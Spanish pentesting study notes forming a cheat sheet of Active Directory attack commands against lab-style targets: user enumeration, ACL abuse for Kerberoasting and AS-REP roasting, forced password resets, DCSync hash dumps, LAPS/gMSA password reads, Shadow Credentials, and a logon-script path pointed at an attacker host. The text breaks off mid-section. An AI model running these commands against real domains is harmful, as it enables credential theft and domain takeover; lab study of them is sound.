1 de 78

Pentest Notes

Home

Soy estudiante de ciberseguridad y he creado este espacio para compartir mis apuntes y técnicas relacionadas con el Pentesting. Aquí voy subiendo todo lo que aprendo, desde conceptos básicos hasta ataques más avanzados, con ejemplos y enfoques prácticos que uso en mi día a día.

La idea es que estas notas sean claras y útiles, tanto para mí como para cualquiera que esté en este mundo o quiera empezar en él. Me gusta documentar lo que hago porque me sirve para reforzar lo aprendido y, de paso, devolver algo a la comunidad que me ha ayudado tanto.

Este sitio no pretende ser perfecto, pero sí práctico y al grano. Lo que más me importa es seguir aprendiendo y tener un lugar donde organizar lo que sé. Si te sirve o te inspira a mejorar, ya con eso me doy por satisfecho.

¡Gracias por pasarte por aquí! 😊

ACTIVE DIRECTORY PENTESTING

Initial Enumeration

Enumerating users

No credentials

NSrpcenum

Se trata de la herramienta de S4vitar, pero con el nombre renombrado, para diferenciar de la otra herramienta creada llamada rpcenum que sí permite utilizar credenciales.

Esta herramienta permite enumerar el DA a través del protocolo RPC con una Null Session, es decir, sin proporcionar credenciales de acceso. Solamente funcionará en caso de que tengamos los permisos adecuados.

NSrpcenum -e DUsers -i 10.10.10.10

rpccclient

# Enumerar usuarios desde el RID 1000 hasta el 1500, se puede ajustar por el rango deseado. No se necesitan credenciales.

for i in $(seq 1000 1500); do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name"; done | awk '{print $NF}'

Kerbrute usernames

# Fuerza bruta para enumerar usuarios a través de Kerberos mediante un diccionario
kerbrute userenum --dc 10.10.10.10 -d dominio.htb /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

# Validar si usuarios son válidos a nivel de dominio con un listado de posibles usuarios
kerbrute userenum --dc 10.10.10.10 -d dominio.htb possible_users.txt

Netexec with guest user

nxc smb 10.10.10.10 -u 'guest' -p '' --rid-brute

Netexec Kerberos Enumeration Brute Force

Realizar fuerza bruta, similar a Kerbrute para verificar si un usuario es válido en el dominio a través de Kerberos.

En caso de que exista el usuario, aparecerá mensaje de: KDC_ERR_PREAUTH_FAILED Si no existe ese usuario, aparecerá mensaje de: KDC_ERR_C_PRINCIPAL_UNKNOWN

nxc ldap dc.dominio.htb -u users.txt -p '' -k

ridenum

ridenum 10.10.10.10 500 10000 guest ''

impacket-lookupsid

# Enumeración de usuarios con el usuario 'guest' a través de lookupsid
impacket-lookupsid dominio.htb/guest@10.10.10.10 -no-pass

# Mismo comando anterior, pero solo quedándonos con los nombres de usuarios.
impacket-lookupsid dominio.htb/guest@10.10.10.10 -no-pass | grep SidTypeUser | awk '{print $2}' | awk '{print $2}' FS='\\'

With credentials

ldapdomaindump

# Enumerar el LDAP entero y quedarnos solamente con los nombres de los usuarios
ldapdomaindump -u 'dominio.htb\user' -p 'password' 10.10.10.10 -o ldap; cd ldap; echo; cat domain_users.grep | awk '{print $1}' | tail -n +2

rpcenum

A través de la herramienta de rpcenum modificada, podemos realizar una enumeración completa de usuarios y demás información a través del protocolo RPC. La herramienta requiere de credenciales válidas.

rpcenum -e DUsers -i 10.10.10.10 -u 'user' -p 'password'

rpcclient

# Enumerar usuarios desde el RID 1000 hasta el 1500, se puede ajustar por el rango deseado. Necesario disponer de credenciales.

for i in $(seq 1000 1500); do rpcclient -U "user%password" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name"; done | awk '{print $NF}'

Netexec

# Obtener usuarios del dominio a través de RID Cycling Attack
nxc smb 10.10.10.10 -u 'user' -p 'password' --rid-brute

# Obtener solamente el listado de usuarios al realizar RID Cycling Attack
nxc smb 10.10.10.10 -u 'user' -p 'password' --rid-brute | grep SidTypeUser | rev | awk '{print $2}' | rev | awk '{print $2}' FS='\\'

# Enumeración de usuarios a través de LDAP
nxc ldap 10.10.10.10 -u 'user' -p 'password' --users

impacket-lookupsid

# Enumeración de usuarios con lookupsid con credenciales válidas.
impacket-lookupsid dominio.htb/'usuario':'password'@10.10.10.10

# Mismo comando anterior, pero solo quedándonos con los nombres de usuarios.
impacket-lookupsid dominio.htb/'usuario':'password'@10.10.10.10| grep SidTypeUser | awk '{print $2}' | awk '{print $2}' FS='\\'

ldapsearch

# Enumeración de todos los usuarios del DA a través de autenticación simple (NTLM)
ldapsearch -H ldap://10.10.10.10 -D 'user@dominio.htb' -w 'password' -b "DC=dominio,DC=htb" "(objectClass=user)" sAMAccountName | grep "^sAMAccountName:" | awk '{print $2}'

# Enumeración de todos los usuarios del DA a través de autenticación Kerberos
ldapsearch -H ldap://dc.dominio.htb -Y GSSAPI -b "DC=dominio,DC=htb" "(objectClass=user)" sAMAccountName | grep "^sAMAccountName:" | awk '{print $2}'

Abusing Active Directory ACLs/ACEs

GenericAll/GenericWrite

User/Computer

Podemos configurar un SPN ficticio en una cuenta de destino, solicitar un ticket de servicio (TGS), luego obtener su hash y realizar Kerberoasting Attack. Disponer de permisos de GenericAll o GenericWrite

Linux -

# Asignar un SPN ficticio (cifs/gzzcoo) a la cuenta llamada 'target'.
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set object 'target' servicePrincipalName -v 'cifs/gzzcoo'

# Conseguir el ticket TGS del usuario que hemos hecho Kerberoastable.
impacket-GetUserSPNs -dc-ip 10.10.10.10 dominio.htb/'user':'password' -request-user 'target'

# Dejar el SPN vacío sobre el usuario que habíamos vuelto Kerberostable.
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set object 'target' servicePrincipalName

---------------------------------------------------------------------------------------

# A través de PowerView.py
powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Set-DomainObject -Identity "TARGET" -Set 'servicePrincipalname=cifs/gzzcoo'

# Proceso automático, asigna un SPN a los usuarios que disponga permisos, te da el ticket TGS y luego deja al usuario tal y como estaba.
python3 targetedKerberoast.py --dc-ip 10.10.10.10 -d dominio.htb -u 'user' -p 'password'

Windows

# Asegurarse de que el usuario víctimo no disponga de SPN
Get-DomainUser 'victimuser' | Select serviceprincipalname

# Configurar el SPN al usuario víctima
Set-DomainObject -Identity 'victimuser' -Set @{serviceprincipalname='cifs/gzzcoo'}

# Obtener el Kerberoast hash
$User = Get-DomainUser 'victimuser'
$User | Get-DomainSPNTicket | fl

# Borrar el SPN del usuario víctima para dejarlo como estaba
$User | Select serviceprincipalname
Set-DomainObject -Identity 'victimuser' -Clear serviceprincipalname

Podemos asignar a un usuario la flag de (DONT_REQ_PREAUTH), solicitar un ticket (TGT), luego obtener un hash y realizar AS-REP Roast. Disponer de permisos de GenericAll o GenericWrite

Linux

# Asignamos al usuario 'target' la flag de (DONT_REQ_PREAUTH)
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add uac 'TARGET' -f DONT_REQ_PREAUTH

# Solicitamos el ticket TGT del usuario AS-REP Roastable
impacket-GetNPUsers dominio.htb/target -no-pass 2>/dev/null

# Volvemos a la normalidad al usuario AS-REP Roastable
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' remove uac 'TARGET' -f DONT_REQ_PREAUTH

---------------------------------------------------------------------------------------

# Desde PowerView.py
powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Set-DomainObject -Identity 'TARGET' -Set 'userAccountControl=4260352'

Windows

# NECESARIO DE IMPORTAR PowerView.ps1 Y ASREPRoast.ps1 EN EL EQUIPO WINDOWS VÍCTIMA

# Modificamos el userAccountControl (UAC) del usuario para volverlo AS-REP Roastable
Get-DomainUser username | ConvertFrom-UACValue

# Solicitamos el ticket TGT
Get-DomainUser username | ConvertFrom-UACValue
Get-ASREPHash -Domain dominio.htb -UserName username

# Dejamos por defecto el UAC del usuario
Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose
Get-DomainUser username | ConvertFrom-UACValue

Modificar la contraseña de otro usuario. Disponer de permisos de GenericAll

Linux

# Modificamos la contrseña del usuario 'USER_TARGET' a 'Password01!' con bloodyAD
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set password 'USER_TARGET' 'Password01!'

# Modificamos la contraseña del usuario 'USER_TARGET' a 'Password01!' con rpcclient
rpcclient -U 'user%password' 10.10.10.10 -W <DOMAIN> -c 'setuserinfo2 <user_target> 23 Password01!'

# Modificamos la contraseña del usuario 'USER_TARGET' a 'Password01!' con net rpc
net rpc password "user_target" "Password01!" -U 'dominio.htb/user%password' -S 10.10.10.10

# Modificamos la contraseña del usuario 'USER_TARGET' a 'Password01!' con PowerView.py
powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Set-DomainUserPassword -Identity 'user_target' -AccountPassword 'Password01!'

---------------------------------------------------------------------------------------

# Verificamos que el cambio se ha realizado correctamente
nxc smb 10.10.10.10 -u 'USER_TARGET' -p 'Password01!'

Windows

# Teniendo acceso a un equipo del dominio o DC, podemos modificar la contraseña del usuario
net user <user_target> Password01! /domain

# Desde PowerShell, creamos un objeto para nuestro usuario en caso de que no dispongamos de acceso con su usuario a la terminal, y cambiamos credenciales al usuario target
$SecPassword = ConvertTo-SecureString 'Password_Attacker' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('dominio.htb\user_attacker',$SecPassword)
$NewPass = ConvertTo-SecureString 'Password01!' -AsPlainText -Force
Set-DomainUserPassword -Identity 'dominio.htb\user_target' -AccountPassword = $NewPass -Credential $Cred

WriteProperty en un ObjectType, que en este caso particular es Script-Path, permite al atacante sobrescribir la ruta del script de inicio de sesión del usuario delegado, lo que significa que la próxima vez que el usuario delegado inicie sesión, su sistema ejecutará nuestro script malicioso. Disponer de permisos de GenericAll o GenericWrite

Linux

# Asignamos al usuario 'TARGET' un script malicioso que se ejecutará cuando inicie sesión
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set object 'TARGET' scriptpath -v '\\<ATTACKER_IP>\malicious.bat'

Windows

@ Asignamos al usuario 'target' que ejecute un script malicioso ubicado en el mismo equipo víctima
Set-DomainObject -Identity 'target' -SET @{scriptpath='C:\ProgramData\test\test.ps1'}

Group

Agregarnos a nosotros mismos a un grupo o a otro usuario del dominio.

Linux

# Disponemos de permisos de GenericAll sobre el grupo, por lo tanto nos agregamos a nosotros al grupo
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add groupMember 'Domain Admins' 'user'

# Añadir a usuario 'UserToAdd' a un grupo donde tenemos permisos de GenericAll
net rpc group ADDMEM 'GROUP TARGET' 'UserToAdd' -U 'user%password' -W dominio.htb -I 10.10.10.10

# Añadir usuario 'target' al grupo 'Group_target'
powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Add-DomainGroupMember -Identity 'Group_target' -Members 'target'

Windows

net group 'GROUP TARGET' 'USER_TARGET' /add /domain

WriteDACL

Este permiso permite modificar la Lista de Control de Acceso Discrecional (DACL) de un objeto, lo que habilita al usuario cambiar los permisos asociados. Un atacante con WriteDACL podría concederse privilegios adicionales o revocar accesos legítimos, comprometiendo la seguridad del sistema.

WriteDACL en el Dominio

Linux

# Teniendo permisos de WriteDACL sobre el dominio, podemos dar permisos de DCSync a cualquier usuario
bloodyAD  --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add dcsync 'OBJECT_TARGET'

# Una vez el usuario tenga los permisos de DCSync, hacemos un dump del NTDS.dit
impacket-secretsdump dominio.htb/'user':'password'@10.10.10.10 -dc-ip 10.10.10.10 -just-dc-ntlm

# Volvemos a asignar al usuario víctima en el estado anterior
bloodyAD  --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' remove dcsync 'OBJECT_TARGET'

Windows

# Otorgar permisos de DCSync a la identidad 'user_target'
Import-Module .\PowerView.ps1
$SecPassword = ConvertTo-SecureString 'Password01!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('dominio.htb\hacker', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'DC=dominio,DC=htb' -Rights DCSync -PrincipalIdentity 'user_target' -Verbose -Domain dominio.htb

WriteDACL en un grupo

Linux

# Con WriteDACL en un grupo, otorgamos a un usuario permisos de control total sobre el grupo
bloodyAD  --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add genericAll 'cn=GROUP_TARGET,dc=dominio,dc=htb' 'user'

# Quitamos el permiso de genericAll para dejarlo como antes
bloodyAD  --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' remove genericAll 'cn=GROUP_TARGET,dc=dominio,dc=htb' 'user'

Windows

# Añadirnos al grupo con comandos nativos de Windows
net group 'GROUP_TARGET' 'user_target' /add /domain

# A través de PowerSploit para darnos permisos de WriteMember sobre el grupo
ADd-DomainObjectAcl -TargetIdentity 'GROUP_TARGET' -Rights WriteMembers -PrincipalIdentity 'user_target'

WriteOwner

Un atacante puede convertirse en propietario de un objeto. Una vez que el propietario haya sido modificado por uno el cual el atacante dispone de acceso, este puede manipular el objeto teniendo control absoluto sobre él.

Linux

# Nos convertimos en propietario del objeto.
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set owner 'OBJECT_TARGET' 'USER_TARGET'

# Para garantizar el control total, al ser propietarios nos otorgamos genericAll sobre el objeto.
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'usuario' -p 'password' add genericAll 'OBJECT_TARGET' 'USER_TARGET'

-----------
# Convertir en propietario el usuario 'user_target' del objeto 'object_target'
powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Set-DomainObjectOwner -TargetIdentity 'object_target' -PrincipalIdentity 'user_target'

Windows

# Necesario de importar PowerView.ps1
$SecPassword = ConvertTo-SecureString 'password' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('dominio.htb\hacker', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "object_target" -PrincipalIdentity 'user_target'
ADd-DomainObjectAcl -TargetIdentity 'object_target' -Rights WriteMembers -PrincipalIdentity 'user_target'

ReadLAPSPassword

Si un atacante dispone de un usuario con privilegios de ReadLAPSPassword, este puede leer la contraseña de LAPS del equipo al cual se aplica este ACL.

Linux

# Leer la contraseña LAPS a través de bloodyAD
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime

# Leer la contraseña LAPS a través de nxc
nxc ldap 10.10.10.10 -u 'user' -p 'password' -M laps

# Leer la contraseña LAPS a través de LAPSDumper
python3 laps.py -u 'user' -p 'password' -d dominio.htb

Windows

# Leer la contraseña LAPS a través de PowerShell (comando nativo)
Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'

# Leer la contraseña LAPS a través de Get-LAPSPasswords.ps1
Get-LAPSPasswords -DomainController 10.10.10.10 -Credential dominio.htb\user| Format-Table -AutoSize

ReadGMSAPassword

Si un atacante dispone de un usuario con privilegios de ReadGMSAPassword, este puede leer la contraseña de GMSA del equipo al cual se aplica este ACL.

Linux

# Leer la contraseña GMSA a través de bloodyAD
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' get object 'TARGET' --attr msDS-ManagedPassword

# Leer la contraseña GMSA a través de nxc
nxc ldap 10.10.10.10 -u 'user' -p 'password' --gmsa

# Leer la contraseña GMSA a través de gMSADumper
python3 gMSADumper.py -u 'user' -p 'password' -d dominio.htb

# Leer la contraseña GMSA a través de PowerView.py
powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Get-GMSA

ForceChangePassword

Si un usuario dispone del ACL ForceChangePassword sobre un usuario, este puede modificar la contraseña del usuario objetivo sin necesidad de conocer la que dispone actualmente.

Linux

# Modificamos la contrseña del usuario 'USER_TARGET' a 'Password01!' con bloodyAD
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set password 'USER_TARGET' 'Password01!'

# Modificamos la contraseña del usuario 'USER_TARGET' a 'Password01!' con rpcclient
rpcclient -U 'user%password' 10.10.10.10 -W <DOMAIN> -c 'setuserinfo2 <user_target> 23 Password01!'

# Modificamos la contraseña del usuario 'USER_TARGET' a 'Password01!' con net rpc
net rpc password "user_target" "Password01!" -U 'dominio.htb/user%password' -S 10.10.10.10

# Modificamos la contraseña del usuario 'USER_TARGET' a 'Password01!' con PowerView.py
powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Set-DomainUserPassword -Identity 'user_target' -AccountPassword 'Password01!'

---------------------------------------------------------------------------------------

# Verificamos que el cambio se ha realizado correctamente
nxc smb 10.10.10.10 -u 'USER_TARGET' -p 'Password01!'

Windows

# Teniendo acceso a un equipo del dominio o DC, podemos modificar la contraseña del usuario
net user <user_target> Password01! /domain

# Desde PowerShell, creamos un objeto para nuestro usuario en caso de que no dispongamos de acceso con su usuario a la terminal, y cambiamos credenciales al usuario target
$SecPassword = ConvertTo-SecureString 'Password_Attacker' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('dominio.htb\user_attacker',$SecPassword)
$NewPass = ConvertTo-SecureString 'Password01!' -AsPlainText -Force
Set-DomainUserPassword -Identity 'dominio.htb\user_target' -AccountPassword = $NewPass -Credential $Cred

Organizational Units ACL

Los ACLs en Organizational Units (OUs) pueden explotarse para comprometer todos los objetos contenidos en ellas.

Objetos no privilegiados

Un usuario con permisos GenericAll o WriteDACL sobre una OU puede añadir una ACE con FullControl e herencia activada, comprometiendo todos los objetos hijos al heredar dicha ACE.

Linux

# Nos otorgamos FullControl sobre la OU llamada TESTERS
impacket-dacledit -action 'write' -rights 'FullControl' -inheritance -principal 'username' -target-dn 'ou=testers,dc=dominio,dc=htb' 'dominio.htb'/'user':'password' -dc-ip 10.10.10.10 2>/dev/null

# Verificamos que disponemos de FullControl sobre la OU llamada TESTERS
impacket-dacledit -action 'read' -principal 'username' -target-dn 'ou=testers,dc=dominio,dc=htb' 'dominio.htb'/'user':'password' -dc-ip 10.10.10.10 2>/dev/null

Shadow Credentials

Introduction

El ataque conocido como Shadow Credentials permite a un atacante obtener acceso persistente a una cuenta de Active Directory (usuario o máquina) sin conocer su contraseña ni su hash. Para lograrlo, se abusa del atributo poco conocido llamado msDS-KeyCredentialLink, introducido con Windows Server 2016.

Este atributo permite almacenar claves públicas asociadas a una cuenta para autenticación mediante Kerberos PKINIT, un método que reemplaza el uso de contraseñas por criptografía asimétrica (clave pública/privada).

Si un atacante tiene permisos como WriteProperty, GenericWrite o GenericAll sobre ese atributo en una cuenta objetivo, puede inyectar su propia clave pública. Luego, puede autenticarse como ese usuario usando PKINIT y su clave privada, consiguiendo un TGT válido sin necesidad de contraseñas ni tickets previos.

¿Por qué es peligroso?

No se requiere modificar la contraseña del objetivo.
La cuenta sigue funcionando normalmente, sin alertas visibles.
La clave inyectada puede pasar desapercibida si no se monitoriza msDS-KeyCredentialLink.
Permite autenticarse silenciosamente y moverse lateralmente o escalar privilegios.

Requisitos clave

Un controlador de dominio con soporte PKINIT (Windows Server 2016 o superior).
Entorno con Active Directory Certificate Services (AD CS) o una CA interna.
Permisos para modificar el atributo msDS-KeyCredentialLink en una cuenta del dominio. (GenericAll, GenericWrite o AddKeyCredentialLink)

¿Qué logra el atacante?

Una vez que inyecta la clave pública en el atributo msDS-KeyCredentialLink, el atacante puede:

Autenticarse como el objetivo mediante PKINIT, sin necesidad de conocer su contraseña ni su hash.
Obtener un Ticket Granting Ticket (TGT) válido para esa cuenta.
Realizar movimientos laterales o delegaciones utilizando técnicas como S4U2self o S4U2proxy.
Mantener persistencia incluso si el usuario cambia su contraseña.
Obtener el hash NTLM del objetivo si consigue acceso al PAC o si la cuenta comprometida tiene privilegios elevados.
Si la cuenta comprometida tiene permisos de replicación en el dominio, ejecutar un ataque DCSync para dumpear todos los hashes del dominio.
Utilizar esos hashes para realizar Pass-the-Hash u otras técnicas de post-explotación.

En esta sección documentaremos la teoría detrás de esta técnica, cómo identificar entornos vulnerables, cómo explotarla paso a paso con herramientas como pyWhisker, Certipy o PKINITtools, bloodyAD o ldap_shell.

From Linux

certipy-ad

User/Password

certipy-ad shadow auto -username 'attacker' -p 'Password01!' -account 'victim' -dc-ip 10.10.10.10

Pass-the-Hash (PtH)

certipy-ad shadow auto -username 'attacker' -hashes '01e97f85894e06a5ad698f624b9a7ee9' -account 'victim' -dc-ip 10.10.10.10

Kerberos

certipy-ad shadow auto -k -no-pass -account 'victim' -dc-ip 10.10.10.10 -target DC01.domain.htb -dc-host DC01

ldap_shell

Authentication on ldap_shell

User/Password

ldap_shell domain.htb/attacker:'Password01!' -dc-ip 10.10.10.10

Si no conocemos el LM Hash, tenemos que indicar (aad3b435b51404eeaad3b435b51404ee) y posteriormente el hash NTLM. Formato --> LMHASH:NTHASH

Pass-the-Hash (PtH)

ldap_shell domain.htb/attacker -hashes aad3b435b51404eeaad3b435b51404ee:01e97f85894e06a5ad698f624b9a7ee9 -dc-ip 10.10.10.10

Kerberos

ldap_shell domain.htb/attacker -k -no-pass -dc-host dc.domain.htb -dc-ip 10.10.10.10

Command to use

get_ntlm victim

Proof of Concept (PoC)

bloodyAD and PKINIT

Paso 1: Creación de las Shadow Credentials al usuario victim

User/Password

bloodyAD --host 10.10.10.10 -d domain.htb -u 'attacker' -p 'Password01!' add shadowCredentials 'victim'

Pass-the-Hash (PtH)

bloodyAD --host 10.10.10.10 -d domain.htb -u 'attacker' -p 'Password01!' add shadowCredentials 'victim'

Kerberos

bloodyAD --host dc.domain.htb -d domain.htb -k add shadowCredentials 'victim'

Una vez ejecutado la herramienta de bloodyAD para añadir las Shadow Credentials al usuario, se nos proporcionará un comando a ejecutar a través de las herramientas de PKINIT.

Paso 2: Solicitud del ticket TGT después del Shadow Credentials

Ejecutaremos el comando proporcionado en el paso anterior para solicitar el TGT correspondiente al usuario el cual le hemos añadido las Shadow Credentials.

Nos quedaremos con el valor del TGT que se nos generará (.ccache), ya que lo necesitaremos en el siguiente paso. Por otro lado, también necesitaremos el valor de la Key que se nos proporciona que se encuentra marcada en rojo en el apartado INFO.

python3 gettgtpkinit.py -cert-pem <file.cert.pem> -key-pem <file_priv.pem> domain.htb/victim <ticket.ccache>

Paso 3: Exportar en la sesión actual el ticket TGT

Exportaremos en la variable KRB5CCNAME el ticket TGT que se nos ha generado en el paso anterior (.ccache) y verificaremos que es un ticket válido a través de klist.

export KRB5CCNAME=$(pwd)/ticket.ccache
klist

Paso 4: Recuperar el hash NTLM del usuario

El último paso deberemos de utilizar la herramienta getnthash.py de PKINIT en la cual necesitaremos proporcionar la Key que se nos proporciona en el paso 2, haber importado el ticket TGT en nuestra sesión e indicar el dominio y el usuario victim.

python3 getnthash.py -key <key_step_2> domain.htb/victim

Proof of Concept (PoC)

pyWhisker and PKINIT

References

GenericWrite

Introduction

En Active Directory, cada objeto (usuario, grupo, equipo…) está protegido por una lista de control de acceso (ACL) cuyo conjunto de entradas (ACE) define qué acciones puede realizar cada identidad. El permiso GenericWrite actúa como una “master key” de escritura: engloba casi todos los derechos para modificar atributos y flags de un objeto, salvo aquellos que requieren permisos especiales (p. ej. resetear contraseñas).

Con GenericWrite sobre un usuario un atacante puede:

Escribir en servicePrincipalNames y lanzar un Kerberoasting dirigido.
Habilitar cuentas deshabilitadas modificando el userAccountControl.
Marcar la bandera DONT_REQ_PREAUTH en userAccountControl, permitiendo AS-REP Roasting sin necesidad de preautenticación.
Inyectar certificados en msDS-KeyCredentialLink para crear “Shadow Credentials” y autenticarse vía Kerberos PKINIT como si fuera ese usuario.

Si controla GenericWrite sobre un grupo, puede añadirse (o agregar cualquier otra cuenta) directamente al grupo, escalando privilegios al instante.

Y si lo obtiene sobre un objeto de equipo, puede tocar el atributo msDS-KeyCredentialLink del equipo, generando Shadow Credentials de máquina y autenticándose como esa cuenta de equipo mediante PKINIT.

Group

Add user to a group

En estos ejemplos, añadiremos al usuario targetUser al grupo targetGroup a través del usuario attacker que es el que dispone del privilegio GenericWrite sobre el grupo targetGroup, con lo cual podemos añadirnos a nosotros mismos o a otros usuarios.

From Linux

bloodyAD

# User/Password Authentication
bloodyAD --host 10.10.10.10 -d domain.htb -u 'attacker' -p 'Password01!' add groupMember 'targetGroup' 'targetUser'

# Pass-the-Hash (PtH) Authentication
bloodyAD --host 10.10.10.10 -d domain.htb -u 'attacker' -H '01e97f85894e06a5ad698f624b9a7ee9' add groupMember 'targetGroup' 'targetUser'

# Kerberos Authentication (.ccache)
bloodyAD --host dc.domain.htb -d domain.htb -k add groupMember 'targetGroup' 'targetUser'

PowerView.py

# Authentication
# ---------------------------------------------------------------------------------- #
## User/Password Authentication ##
powerview domain.htb/attacker:'Password01!'@10.10.10.10 --dc-ip 10.10.10.10
## Pass-the-Hash (PtH) Authentication ##
powerview domain.htb/attacker@10.10.10.10 -H '01e97f85894e06a5ad698f624b9a7ee9' --dc-ip 10.10.10
## Kerberos Authentication (.ccache) ##
powerview domain.htb/attacker@dc.domain.htb -k --no-pass --dc-ip 10.10.10.10

# Command to use
Add-DomainGroupMember -Identity 'targetGroup' -Members 'targetUser'

net rpc

# User/Password Authentication
net rpc group ADDMEM 'targetGroup' 'targetUser' -U 'attacker%Password01!' -W domain.htb -I 10.10.10.10

# Pass-the-Hash (PtH) Authentication
net rpc group ADDMEM 'targetGroup' 'targetUser' -U 'attacker%01e97f85894e06a5ad698f624b9a7ee9' --pw-nt-hash -W domain.htb -I 10.10.10.10

pth-net rpc

# User/Password Authentication
pth-net rpc group addmem 'targetGroup' 'targetUser' -U 'attacker%Password01!' -W domain.htb -I 10.10.10.10

# Pass-the-Hash (PtH) Authentication
pth-net rpc group addmem 'targetGroup' 'targetUser' -U 'attacker%01e97f85894e06a5ad698f624b9a7ee9' --pw-nt-hash -W domain.htb -I 10.10.10.10

ldapmodify

# Create add-user-to-group.ldif indicating the DN (of the targetGroup) and the member to add
❯ cat add-user-to-group.ldif
dn: CN=targetGroup,CN=USERS,DC=DOMAIN,DC=HTB
changetype: modify
add: member
member: CN=VICTIM,CN=USERS,DC=DOMAIN,DC=HTB

# Execute command
❯ ldapmodify -x -H ldap://10.10.10.10 -D "CN=attacker,CN=Users,DC=domain,DC=htb" -w 'Password01!' -f add-user-to-group.ldif

# Oneliner alternative method without .ldif
printf 'dn: CN=targetGroup,CN=USERS,DC=domain,DC=htb\nchangetype: modify\nadd: member\nmember: CN=VICTIM,CN=USERS,DC=domain,DC=htb\n' | ldapmodify -x -H ldap://10.10.10.10 -D "CN=attacker,CN=Users,DC=domain,DC=htb" -w 'Password01!'

ldap_shell

# Authentication
# ---------------------------------------------------------------------------------- #
## User/Password Authentication ##
ldap_shell domain.htb/attacker:'Password01!' -dc-ip 10.10.10.10
## Pass-the-Hash (PtH) Authentication ##
ldap_shell domain.htb/attacker -hashes 'aad3b435b51404eeaad3b435b51404ee:01e97f85894e06a5ad698f624b9a7ee9' -dc-ip 10.10.10.10
## Kerberos Authentication (.ccache) ##
ldap_shell domain.htb/attacker -k -no-pass -dc-host dc.domain.htb -dc-ip 10.10.10.10

# Command to use
add_user_to_group targetUser targetGroup

From Windows

Windows net command

net group 'targetGroup' 'targetUser' /add /domain

bloodyAD.exe

# User/Password Authentication
.\bloodyAD.exe --host 10.10.10.10 -d domain.htb -u 'attacker' -p 'Password01!' add groupMember 'targetGroup' 'targetUser'

# Pass-the-Hash (PtH) Authentication
.\bloodyAD.exe --host 10.10.10.10 -d domain.htb -u 'attacker' -H '01e97f85894e06a5ad698f624b9a7ee9' add groupMember 'targetGroup' 'targetUser'

# Kerberos Authentication (.ccache)
.\bloodyAD.exe --host dc.domain.htb -d domain.htb -k add groupMember 'targetGroup' 'targetUser'

User

Enable disabled user

Kerberoasting

AS-REP Roasting

Shadow Credentials

Script path

Computer

Resource-based Constrained Delegation(RBCD Attack)

References

ForceChangePassword

Introduction

En este post, exploramos el abuso de ForceChangePassword Active Directory a través de la explotación de Listas de Control de Acceso Discrecional (DACL) utilizando el permiso ForcePasswordChange en entornos Active Directory. Este permiso es especialmente peligroso para cuentas privilegiadas, ya que permite el movimiento lateral y el acceso no autorizado a través de sistemas suplantando la identidad de la cuenta comprometida. Por lo tanto, entender cómo funciona esta vulnerabilidad es crucial para los profesionales de la seguridad.

From Linux

bloodyAD

User/Password

bloodyAD --host 10.10.10.10 -d domain.htb -u 'attacker' -p 'password' set password 'victim' 'NewPassword01!'

Pass-the-Hash (PtH)

bloodyAD --host 10.10.10.10 -d domain.htb -u 'attacker' -p ':01e97f85894e06a5ad698f624b9a7ee9' set password 'victim' 'NewPassword01!'

Kerberos

bloodyAD --host dc.domain.htb -d domain.htb -k set password 'victim' 'NewPassword01!'

Proof of Concept (PoC)

PowerView.py

Authentication on PowerView.py

User/Password

powerview domain.htb/attacker:'Password01!'@10.10.10.10 --dc-ip 10.10.10.10

Pass-the-Hash (PtH)

powerview domain.htb/attacker@10.10.10.10 -H '01e97f85894e06a5ad698f624b9a7ee9' --dc-ip 10.10.10

Kerberos

powerview domain.htb/attacker@dc.domain.htb -k --no-pass --dc-ip 10.10.10.10

Command to use

Set-DomainUserPassword -Identity 'victim' -AccountPassword 'NewPassword12'

Proof of Concept (PoC)

Impacket-changepasswd

User/Password

impacket-changepasswd domain.htb/victim@10.10.10.10 -newpass 'NewPass01!' -reset -altuser 'attacker' -altpass 'Password01!' -dc-ip 10.10.10.10

Pass-the-Hash (PtH)

impacket-changepasswd domain.htb/victim@10.10.10.10 -newpass 'NewPass01!' -reset -altuser 'attacker' -althash '01e97f85894e06a5ad698f624b9a7ee9' -dc-ip 10.10.10.10

Kerberos

